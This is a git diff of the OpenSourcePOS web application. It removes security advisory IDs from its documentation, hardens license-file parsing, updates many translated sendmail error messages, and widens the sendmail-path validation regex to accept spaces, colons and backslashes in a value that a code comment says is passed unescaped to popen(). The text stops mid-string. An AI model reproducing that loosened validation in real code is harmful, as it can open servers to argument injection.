diff --git a/AGENTS.md b/AGENTS.md index e54b39952..52163b0d1 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -60,3 +60,4 @@ This document provides guidance for AI agents working on the Open Source Point o - Never commit secrets, credentials, or `.env` files - Use parameterized queries to prevent SQL injection - Validate and sanitize all user input +- Never reference security advisory IDs (CVE, GHSA, etc.) in code, comments, commit messages, docblocks, documentation, or URLs — treat them the same as secrets. They act as a roadmap for attackers researching the exact exploit a fix addresses. diff --git a/BUILD.md b/BUILD.md index b3858453c..57dd3efc4 100644 --- a/BUILD.md +++ b/BUILD.md @@ -14,6 +14,7 @@ The build process uses the build tools "npm" and "gulp" to piece everything toge ## Prerequisites +- Install Node.js 20 or later (the build fails on Node 18 and earlier - one of the license reporting dependencies requires newer JavaScript regex features) - Install the latest version of NPM (tested using version 9.4.2) - Install the latest version of Composer (tested using composer 2.5.1) diff --git a/INSTALL.md b/INSTALL.md index b688cf972..24b7a9503 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -10,7 +10,7 @@ ### Allowed Hostnames (REQUIRED for Production) -⚠️ **CRITICAL**: OpenSourcePOS validates the Host header to prevent Host Header Injection attacks (GHSA-jchf-7hr6-h4f3). **You MUST configure `app.allowedHostnames` for production deployments. If not configured, the application will fail to start.** +⚠️ **CRITICAL**: OpenSourcePOS validates the Host header to prevent Host Header Injection attacks. **You MUST configure `app.allowedHostnames` for production deployments. If not configured, the application will fail to start.** **Add to your `.env` file:** @@ -34,9 +34,8 @@ RuntimeException: Security: allowedHostnames is not configured. **Solution**: Add `app.allowedHostnames` to your `.env` file with your domain(s). **Why this matters:** -- Prevents Host Header Injection attacks (GHSA-jchf-7hr6-h4f3) +- Prevents Host Header Injection attacks - Ensures URLs are generated with the correct domain -- Security advisory: https://github.com/opensourcepos/opensourcepos/security/advisories/GHSA-jchf-7hr6-h4f3 - Fixes issue #4480: .env configuration now works via comma-separated values ### HTTPS Behind Proxy diff --git a/app/Config/Validation/OSPOSRules.php b/app/Config/Validation/OSPOSRules.php index e9a759ebe..b87251da3 100644 --- a/app/Config/Validation/OSPOSRules.php +++ b/app/Config/Validation/OSPOSRules.php @@ -254,10 +254,10 @@ class OSPOSRules } /** - * Validates that the candidate is a plain filesystem path: only letters, digits, - * underscore, dash, dot and forward slash. Uses \A...\z (not ^...$) because PCRE's $ - * also matches immediately before a single trailing newline, which would let a - * value like "/usr/bin/php\n" slip through — the bug behind GHSA-jc56-j8m6-q627. + * Validates a plain filesystem path, allowing space/colon/backslash for Windows paths and + * trailing sendmail-style args. Excludes shell metacharacters since this value is concatenated + * unescaped into a popen() call. Uses \A...\z, not ^...$, since $ also matches before a + * trailing newline. * * @param string $candidate * @param string|null $error @@ -270,6 +270,6 @@ class OSPOSRules return false; } - return (bool) preg_match('/\A[a-zA-Z0-9_\-\/.]+\z/', $candidate); + return (bool) preg_match('/\A[a-zA-Z0-9_\-\/.: \\\\]+\z/', $candidate); } } diff --git a/app/Controllers/Config.php b/app/Controllers/Config.php index 93f887390..b448a87fb 100644 --- a/app/Controllers/Config.php +++ b/app/Controllers/Config.php @@ -158,14 +158,20 @@ class Config extends Secure_Controller $file = file_get_contents('license/npm-prod.LICENSES'); $array = json_decode($file, true); - foreach ($array as $dependency) { - $license[$i]['text'] .= "library: {$dependency['name']}\n"; - $license[$i]['text'] .= "authors: {$dependency['author']}\n"; - $license[$i]['text'] .= "website: {$dependency['homepage']}\n"; - $license[$i]['text'] .= "version: {$dependency['installedVersion']}\n"; - $license[$i]['text'] .= "license: {$dependency['licenseType']}\n"; + if (is_array($array)) { + foreach ($array as $dependency) { + if (!is_array($dependency) || count(array_intersect(['name', 'author', 'homepage', 'installedVersion', 'licenseType'], array_keys($dependency))) !== 5) { + continue; + } - $license[$i]['text'] .= "\n"; + $license[$i]['text'] .= "library: {$dependency['name']}\n"; + $license[$i]['text'] .= "authors: {$dependency['author']}\n"; + $license[$i]['text'] .= "website: {$dependency['homepage']}\n"; + $license[$i]['text'] .= "version: {$dependency['installedVersion']}\n"; + $license[$i]['text'] .= "license: {$dependency['licenseType']}\n"; + + $license[$i]['text'] .= "\n"; + } } $license[$i]['text'] = rtrim($license[$i]['text'], "\n"); } @@ -178,14 +184,20 @@ class Config extends Secure_Controller $file = file_get_contents('license/npm-dev.LICENSES'); $array = json_decode($file, true); - foreach ($array as $dependency) { - $license[$i]['text'] .= "library: {$dependency['name']}\n"; - $license[$i]['text'] .= "authors: {$dependency['author']}\n"; - $license[$i]['text'] .= "website: {$dependency['homepage']}\n"; - $license[$i]['text'] .= "version: {$dependency['installedVersion']}\n"; - $license[$i]['text'] .= "license: {$dependency['licenseType']}\n"; + if (is_array($array)) { + foreach ($array as $dependency) { + if (!is_array($dependency) || count(array_intersect(['name', 'author', 'homepage', 'installedVersion', 'licenseType'], array_keys($dependency))) !== 5) { + continue; + } - $license[$i]['text'] .= "\n"; + $license[$i]['text'] .= "library: {$dependency['name']}\n"; + $license[$i]['text'] .= "authors: {$dependency['author']}\n"; + $license[$i]['text'] .= "website: {$dependency['homepage']}\n"; + $license[$i]['text'] .= "version: {$dependency['installedVersion']}\n"; + $license[$i]['text'] .= "license: {$dependency['licenseType']}\n"; + + $license[$i]['text'] .= "\n"; + } } $license[$i]['text'] = rtrim($license[$i]['text'], "\n"); } diff --git a/app/Language/ar-EG/Config.php b/app/Language/ar-EG/Config.php index 5025f056b..af96e9bf5 100644 --- a/app/Language/ar-EG/Config.php +++ b/app/Language/ar-EG/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'يمين', 'sales_invoice_format' => 'شكل فاتورة البيع', 'sales_quote_format' => 'شكل فاتورة عرض الاسعار', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'مسار sendmail غير صالح. يُسمح فقط بالحروف والأرقام والشرطات والشرطات السفلية والشرطات المائلة والشرطات المائلة العكسية والنقطتين الرأسيتين والمسافات والنقاط.', 'saved_successfully' => 'تم حفظ التهيئة بنجاح.', 'saved_unsuccessfully' => 'لم يتم حفظ التهيئة بنجاح.', 'security_issue' => 'تحذير من ثغرة أمنية', diff --git a/app/Language/ar-LB/Config.php b/app/Language/ar-LB/Config.php index 9886c5afa..7a40b96bf 100644 --- a/app/Language/ar-LB/Config.php +++ b/app/Language/ar-LB/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'يمين', 'sales_invoice_format' => 'شكل فاتورة البيع', 'sales_quote_format' => 'شكل فاتورة عرض الاسعار', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'مسار sendmail غير صالح. يُسمح فقط بالحروف والأرقام والشرطات والشرطات السفلية والشرطات المائلة والشرطات المائلة العكسية والنقطتين الرأسيتين والمسافات والنقاط.', 'saved_successfully' => 'تم حفظ التهيئة بنجاح.', 'saved_unsuccessfully' => 'لم يتم حفظ التهيئة بنجاح.', 'security_issue' => 'تحذير من ثغرة أمنية', diff --git a/app/Language/az/Config.php b/app/Language/az/Config.php index 43d4e5def..dcfc65a30 100644 --- a/app/Language/az/Config.php +++ b/app/Language/az/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Sağ', 'sales_invoice_format' => 'Satış Fatura Formatı', 'sales_quote_format' => 'Satış Sitat Formati', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Yanlış sendmail yolu. Yalnız hərflərə, rəqəmlərə, tirelərə, alt xətlərə, əyri xətlərə, tərs əyri xətlərə, iki nöqtəyə, boşluqlara və nöqtələrə icazə verilir.', 'saved_successfully' => 'Konfiqurasiya uğurla saxlanıldı.', 'saved_unsuccessfully' => 'Konfiqurasiyanı saxlamq mümkün olmadı.', 'security_issue' => 'Təhlükəsizlik açığı xəbərdarlığı', diff --git a/app/Language/bg/Config.php b/app/Language/bg/Config.php index adbf03f00..9bf239650 100644 --- a/app/Language/bg/Config.php +++ b/app/Language/bg/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Невалиден път до sendmail. Разрешени са само букви, цифри, тирета, долни черти, наклонени черти, обратни наклонени черти, двоеточия, интервали и точки.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/bs/Config.php b/app/Language/bs/Config.php index 8130be0b4..bc30c80aa 100644 --- a/app/Language/bs/Config.php +++ b/app/Language/bs/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Desno', 'sales_invoice_format' => 'Format fakture', 'sales_quote_format' => 'Format navedene prodaje', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Nevažeća sendmail putanja. Dozvoljena su samo slova, brojevi, crtice, donje crte, kose crte, obrnute kose crte, dvotačke, razmaci i tačke.', 'saved_successfully' => 'Konfiguracija je uspješno snimljena.', 'saved_unsuccessfully' => 'Konfiguracija nije uspješno snimljena.', 'security_issue' => 'Upozorenje o sigurnosnoj ranjivosti', diff --git a/app/Language/ckb/Config.php b/app/Language/ckb/Config.php index 3ac61a354..b58331d09 100644 --- a/app/Language/ckb/Config.php +++ b/app/Language/ckb/Config.php @@ -284,6 +284,7 @@ return [ 'right' => 'ڕاست', 'sales_invoice_format' => 'فۆڕماتی فاکتورەی فرۆشتن', 'sales_quote_format' => 'فۆڕماتی دەرخستەی نرخەکانی فرۆشتن', + 'mailpath_invalid' => 'ڕێچکەی sendmail نادروستە. تەنها پیت، ژمارە، هێڵی بەستەرەوە، هێڵی ژێرەوە، سلاشی ڕاست، سلاشی چەپ، دوو خاڵ، بۆشایی و خاڵ ڕێگەپێدراون.', 'saved_successfully' => 'پاشەکەوتکردنی ڕێکخستن سەرکەوتوو بوو.', 'saved_unsuccessfully' => 'پاشەکەوتکردنی ڕێکخستن سەرکەوتوو نەبوو.', 'security_issue' => 'ئاگادارکردنەوەی لاوازی ئاسایش', diff --git a/app/Language/cs/Config.php b/app/Language/cs/Config.php index f585d841d..8f92eae0e 100644 --- a/app/Language/cs/Config.php +++ b/app/Language/cs/Config.php @@ -284,7 +284,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Neplatná cesta k sendmailu. Povolena jsou pouze písmena, číslice, pomlčky, podtržítka, lomítka, zpětná lomítka, dvojtečky, mezery a tečky.', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/da/Config.php b/app/Language/da/Config.php index 59cb77759..4396893f8 100644 --- a/app/Language/da/Config.php +++ b/app/Language/da/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Ugyldig sendmail-sti. Kun bogstaver, tal, bindestreger, understregninger, skråstreger, omvendte skråstreger, kolon, mellemrum og punktummer er tilladt.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/de-CH/Config.php b/app/Language/de-CH/Config.php index 6a04436d8..f02abe48e 100644 --- a/app/Language/de-CH/Config.php +++ b/app/Language/de-CH/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Format Verkaufsrechnung', 'sales_quote_format' => '', - 'mailpath_invalid' => 'Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche und Punkte sind erlaubt.', + 'mailpath_invalid' => 'Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche, Rückwärtsschrägstriche, Doppelpunkte, Leerzeichen und Punkte sind erlaubt.', 'saved_successfully' => 'Einstellungen erfolgreich gesichert', 'saved_unsuccessfully' => 'Einstellungen konnten nicht gesichert werden', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/de-DE/Config.php b/app/Language/de-DE/Config.php index 63bc98eca..b4effff6e 100644 --- a/app/Language/de-DE/Config.php +++ b/app/Language/de-DE/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Rechts', 'sales_invoice_format' => 'Format Verkaufsrechnung', 'sales_quote_format' => 'Angebotsformat', - 'mailpath_invalid' => 'Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche und Punkte sind erlaubt.', + 'mailpath_invalid' => 'Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche, Rückwärtsschrägstriche, Doppelpunkte, Leerzeichen und Punkte sind erlaubt.', 'saved_successfully' => 'Einstellungen erfolgreich gesichert.', 'saved_unsuccessfully' => 'Einstellungen konnten nicht gesichert werden.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/el/Config.php b/app/Language/el/Config.php index f5bb67687..d102694e0 100644 --- a/app/Language/el/Config.php +++ b/app/Language/el/Config.php @@ -284,7 +284,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Μη έγκυρη διαδρομή sendmail. Επιτρέπονται μόνο γράμματα, αριθμοί, παύλες, κάτω παύλες, κάθετοι, ανάστροφες κάθετοι, άνω-κάτω τελείες, κενά και τελείες.', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/en-GB/Config.php b/app/Language/en-GB/Config.php index cb1ead5a3..8a24b671d 100644 --- a/app/Language/en-GB/Config.php +++ b/app/Language/en-GB/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => 'Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes and dots are allowed.', + 'mailpath_invalid' => 'Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes, backslashes, colons, spaces and dots are allowed.', 'saved_successfully' => 'Configuration saved successfully.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/en/Config.php b/app/Language/en/Config.php index 19c18dcc9..01c7c7c0c 100644 --- a/app/Language/en/Config.php +++ b/app/Language/en/Config.php @@ -287,7 +287,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => 'Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes and dots are allowed.', + 'mailpath_invalid' => 'Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes, backslashes, colons, spaces and dots are allowed.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/es-ES/Config.php b/app/Language/es-ES/Config.php index f52a2f942..eddd74b55 100644 --- a/app/Language/es-ES/Config.php +++ b/app/Language/es-ES/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Derecha', 'sales_invoice_format' => 'Formato de Facturas de Venta', 'sales_quote_format' => 'Formato de presupuesto de las ventas', - 'mailpath_invalid' => 'Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, barras y puntos.', + 'mailpath_invalid' => 'Ruta de sendmail no válida. Solo se permiten letras, números, guiones, guiones bajos, barras, barras invertidas, dos puntos, espacios y puntos.', 'saved_successfully' => 'Configuración guardada satisfactoriamente.', 'saved_unsuccessfully' => 'Configuración no guardada.', 'security_issue' => 'Advertencia de vulnerabilidad de seguridad', diff --git a/app/Language/es-MX/Config.php b/app/Language/es-MX/Config.php index 9a7d083c2..d3f4a69f9 100644 --- a/app/Language/es-MX/Config.php +++ b/app/Language/es-MX/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => 'Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, barras y puntos.', + 'mailpath_invalid' => 'Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, diagonales, diagonales invertidas, dos puntos, espacios y puntos.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/fa/Config.php b/app/Language/fa/Config.php index d8bbc2299..fbc1a4bf1 100644 --- a/app/Language/fa/Config.php +++ b/app/Language/fa/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'درست', 'sales_invoice_format' => 'قالب فاکتور فروش', 'sales_quote_format' => 'قالب فروش قیمت', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'مسیر sendmail نامعتبر است. فقط حروف، اعداد، خط‌تیره، زیرخط، اسلش، بک‌اسلش، دونقطه، فاصله و نقطه مجاز هستند.', 'saved_successfully' => 'پیکربندی ذخیره موفقیت آمیز است.', 'saved_unsuccessfully' => 'ذخیره پیکربندی انجام نشد.', 'security_issue' => 'هشدار آسیب پذیری امنیتی', diff --git a/app/Language/fr/Config.php b/app/Language/fr/Config.php index a080650f9..d5502712d 100644 --- a/app/Language/fr/Config.php +++ b/app/Language/fr/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Droite', 'sales_invoice_format' => 'Format de la facture de vente', 'sales_quote_format' => 'Format de devis de vente', - 'mailpath_invalid' => 'Chemin sendmail invalide. Seuls les lettres, chiffres, tirets, underscores, barres obliques et points sont autorisés.', + 'mailpath_invalid' => 'Chemin sendmail invalide. Seuls les lettres, chiffres, tirets, traits de soulignement, barres obliques, antislashs, deux-points, espaces et points sont autorisés.', 'saved_successfully' => 'Configuration enregistrer avec succès.', 'saved_unsuccessfully' => "L'enregistrement de configuration a échoué.", 'security_issue' => 'Avertissement de faille de sécurité', diff --git a/app/Language/he/Config.php b/app/Language/he/Config.php index f05a98868..b98c2c9c5 100644 --- a/app/Language/he/Config.php +++ b/app/Language/he/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'ימין', 'sales_invoice_format' => 'תבנית חשבונית מכירות', 'sales_quote_format' => 'תבנית חשבונית הצעת מחיר', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'נתיב sendmail לא תקין. מותרים רק אותיות, ספרות, מקפים, קווים תחתונים, לוכסנים, לוכסנים הפוכים, נקודתיים, רווחים ונקודות.', 'saved_successfully' => 'ההגדרות נשמרו בהצלחה.', 'saved_unsuccessfully' => 'שמירת ההגדרות נכשלה.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/hr-HR/Config.php b/app/Language/hr-HR/Config.php index c8abe6dd2..5cd2ee098 100644 --- a/app/Language/hr-HR/Config.php +++ b/app/Language/hr-HR/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Oblik fakture', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Nevažeća sendmail putanja. Dopuštena su samo slova, brojevi, crtice, podvlake, kose crte, obrnute kose crte, dvotočke, razmaci i točke.', 'saved_successfully' => 'Konfiguracija je uspješno snimljena', 'saved_unsuccessfully' => 'Konfiguracija nije uspješno snimljena', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/hu/Config.php b/app/Language/hu/Config.php index 232e6d9e3..384557376 100644 --- a/app/Language/hu/Config.php +++ b/app/Language/hu/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Jobb', 'sales_invoice_format' => 'Eladási számla formátum', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Érvénytelen sendmail elérési út. Csak betűk, számok, kötőjelek, aláhúzások, perjelek, fordított perjelek, kettőspontok, szóközök és pontok engedélyezettek.', 'saved_successfully' => 'Beállítások sikeresen elmentve', 'saved_unsuccessfully' => 'Beállítások mentése sikertelen', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/hy/Config.php b/app/Language/hy/Config.php index 50d70dde1..2cc22ade7 100644 --- a/app/Language/hy/Config.php +++ b/app/Language/hy/Config.php @@ -284,7 +284,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Sendmail-ի ուղին անվավեր է։ Թույլատրվում են միայն տառեր, թվեր, գծիկներ, ընդգծումներ, թեք գծեր, հակառակ թեք գծեր, երկկետեր, բացատներ և կետեր։', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => '', diff --git a/app/Language/id/Config.php b/app/Language/id/Config.php index 897f4e051..c59d4c44e 100644 --- a/app/Language/id/Config.php +++ b/app/Language/id/Config.php @@ -284,6 +284,7 @@ return [ 'right' => 'Kanan', 'sales_invoice_format' => 'Format Faktur Penjualan', 'sales_quote_format' => 'Format Penawaran Penjualan', + 'mailpath_invalid' => 'Jalur sendmail tidak valid. Hanya huruf, angka, tanda hubung, garis bawah, garis miring, garis miring terbalik, titik dua, spasi, dan titik yang diizinkan.', 'saved_successfully' => 'Konfigurasi berhasil disimpan.', 'saved_unsuccessfully' => 'Konfigurasi tidak berhasil disimpan.', 'security_issue' => 'Peringatan Kerentanan Keamanan', diff --git a/app/Language/it/Config.php b/app/Language/it/Config.php index de4c77e62..e5cce9eec 100644 --- a/app/Language/it/Config.php +++ b/app/Language/it/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Destra', 'sales_invoice_format' => 'Formato Fattura di Vendita', 'sales_quote_format' => 'Formato Preventivo', - 'mailpath_invalid' => 'Percorso sendmail non valido. Sono ammessi solo lettere, numeri, trattini, trattini bassi, barre e punti.', + 'mailpath_invalid' => 'Percorso sendmail non valido. Sono ammessi solo lettere, numeri, trattini, trattini bassi, barre, barre rovesciate, due punti, spazi e punti.', 'saved_successfully' => 'Configurazione salvata correttamente.', 'saved_unsuccessfully' => 'Salvataggio Configurazione Fallito.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/ka/Config.php b/app/Language/ka/Config.php index eed18defc..bf874f7fe 100644 --- a/app/Language/ka/Config.php +++ b/app/Language/ka/Config.php @@ -284,7 +284,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'sendmail-ის ბილიკი არასწორია. დაშვებულია მხოლოდ ასოები, ციფრები, დეფისები, ხაზგასმები, დახრილი ხაზები, უკუხაზები, ორწერტილები, ჰარეები და წერტილები.', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => '', diff --git a/app/Language/km/Config.php b/app/Language/km/Config.php index dc68de465..7bdac6fda 100644 --- a/app/Language/km/Config.php +++ b/app/Language/km/Config.php @@ -284,7 +284,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'ផ្លូវ sendmail មិនត្រឹមត្រូវ។ អនុញ្ញាតតែអក្សរ លេខ សញ្ញាដាច់បន្ទាត់ សញ្ញាគូសក្រោម សញ្ញាចែកមុខ សញ្ញាចែកក្រោយ សញ្ញាចំណុចពីរ ចន្លោះ និងចំណុចប៉ុណ្ណោះ។', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/lo/Config.php b/app/Language/lo/Config.php index 8096ac5b1..72a09feb2 100644 --- a/app/Language/lo/Config.php +++ b/app/Language/lo/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Right', 'sales_invoice_format' => 'Sales Invoice Format', 'sales_quote_format' => 'Sales Quote Format', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'ເສັ້ນທາງ sendmail ບໍ່ຖືກຕ້ອງ. ອະນຸຍາດສະເພາະຕົວອັກສອນ, ຕົວເລກ, ຂີດກາງ, ຂີດກ້ອງ, ຂີດຂ້າງໜ້າ, ຂີດຂ້າງຫຼັງ, ຈໍ້າສອງເມັດ, ວັກ ແລະ ຈຸດເທົ່ານັ້ນ.', 'saved_successfully' => 'Configuration save successful.', 'saved_unsuccessfully' => 'Configuration save failed.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/ml/Config.php b/app/Language/ml/Config.php index 4e5a334c2..d6901e6a8 100644 --- a/app/Language/ml/Config.php +++ b/app/Language/ml/Config.php @@ -284,7 +284,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'അസാധുവായ sendmail പാത്ത്. അക്ഷരങ്ങൾ, അക്കങ്ങൾ, ഡാഷുകൾ, അടിവരകൾ, സ്ലാഷുകൾ, ബാക്ക്സ്ലാഷുകൾ, കോളനുകൾ, സ്പേസുകൾ, ഡോട്ടുകൾ എന്നിവ മാത്രമേ അനുവദനീയമായുള്ളൂ.', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/nb/Config.php b/app/Language/nb/Config.php index b5f0c724b..0a2289089 100644 --- a/app/Language/nb/Config.php +++ b/app/Language/nb/Config.php @@ -284,7 +284,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Ugyldig sendmail-sti. Kun bokstaver, tall, bindestreker, understreker, skråstreker, omvendte skråstreker, kolon, mellomrom og punktum er tillatt.', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => '', diff --git a/app/Language/nl-BE/Config.php b/app/Language/nl-BE/Config.php index c7f225cd1..b7432069a 100644 --- a/app/Language/nl-BE/Config.php +++ b/app/Language/nl-BE/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Rechts', 'sales_invoice_format' => 'Formattering Aankoop #', 'sales_quote_format' => 'Offerte formaat', - 'mailpath_invalid' => 'Ongeldig sendmail pad. Alleen letters, cijfers, strepen, underscores, slashes en punten zijn toegestaan.', + 'mailpath_invalid' => 'Ongeldig sendmail-pad. Enkel letters, cijfers, streepjes, onderstrepingstekens, schuine strepen, omgekeerde schuine strepen, dubbele punten, spaties en punten zijn toegelaten.', 'saved_successfully' => 'Configuratie werd bewaard.', 'saved_unsuccessfully' => 'Configuratie kon niet worden bewaard.', 'security_issue' => 'Waarschuwing voor Veiligheidslek', diff --git a/app/Language/nl-NL/Config.php b/app/Language/nl-NL/Config.php index 66e9e0529..4234d84a6 100644 --- a/app/Language/nl-NL/Config.php +++ b/app/Language/nl-NL/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Rechts', 'sales_invoice_format' => 'Indeling verkoopfactuur', 'sales_quote_format' => 'Indeling verkoopofferte', - 'mailpath_invalid' => 'Ongeldig sendmail pad. Alleen letters, cijfers, strepen, underscores, slashes en punten zijn toegestaan.', + 'mailpath_invalid' => 'Ongeldig sendmail-pad. Alleen letters, cijfers, streepjes, onderstrepingstekens, schuine strepen, omgekeerde schuine strepen, dubbele punten, spaties en punten zijn toegestaan.', 'saved_successfully' => 'Configuratie opgeslagen.', 'saved_unsuccessfully' => 'Configuratie opslaan mislukt.', 'security_issue' => 'Beveilingskwetsbaarheid waarschuwing', diff --git a/app/Language/pl/Config.php b/app/Language/pl/Config.php index b11a8a801..a156817d2 100644 --- a/app/Language/pl/Config.php +++ b/app/Language/pl/Config.php @@ -284,6 +284,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', + 'mailpath_invalid' => 'Nieprawidłowa ścieżka sendmail. Dozwolone są tylko litery, cyfry, myślniki, podkreślenia, ukośniki, ukośniki odwrotne, dwukropki, spacje i kropki.', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/pt-BR/Config.php b/app/Language/pt-BR/Config.php index ec9875263..079794b85 100644 --- a/app/Language/pt-BR/Config.php +++ b/app/Language/pt-BR/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Direita', 'sales_invoice_format' => 'Formato da Fatura de Vendas', 'sales_quote_format' => 'Formato de cotação de vendas', - 'mailpath_invalid' => 'Caminho do sendmail inválido. Apenas letras, números, traços, sublinhados, barras e pontos são permitidos.', + 'mailpath_invalid' => 'Caminho do sendmail inválido. Apenas letras, números, traços, sublinhados, barras, barras invertidas, dois-pontos, espaços e pontos são permitidos.', 'saved_successfully' => 'Configuração salva com sucesso.', 'saved_unsuccessfully' => 'Configuração não salva.', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/ro/Config.php b/app/Language/ro/Config.php index d733c2810..c6cd733d0 100644 --- a/app/Language/ro/Config.php +++ b/app/Language/ro/Config.php @@ -284,7 +284,7 @@ return [ 'right' => '', 'sales_invoice_format' => '', 'sales_quote_format' => '', - 'mailpath_invalid' => '', + 'mailpath_invalid' => 'Cale sendmail invalidă. Sunt permise doar litere, cifre, liniuțe, liniuțe de subliniere, bare oblice, bare oblice inverse, două puncte, spații și puncte.', 'saved_successfully' => '', 'saved_unsuccessfully' => '', 'security_issue' => 'Security Vulnerability Warning', diff --git a/app/Language/ru/Config.php b/app/Language/ru/Config.php index 322ac7c0a..6a772bb41 100644 --- a/app/Language/ru/Config.php +++ b/app/Language/ru/Config.php @@ -284,7 +284,7 @@ return [ 'right' => 'Справа', 'sales_invoice_format' => 'Формат накладной для продаж', 'sales_quote_format' => 'Формат предложений на продажу', - 'mailpath_invalid' => 'Неверный путь sendmail. Разрешены только буквы, цифры, дефисы, подчеркивания, слеши и точки.', + 'mailpath_invalid' => 'Неверный путь 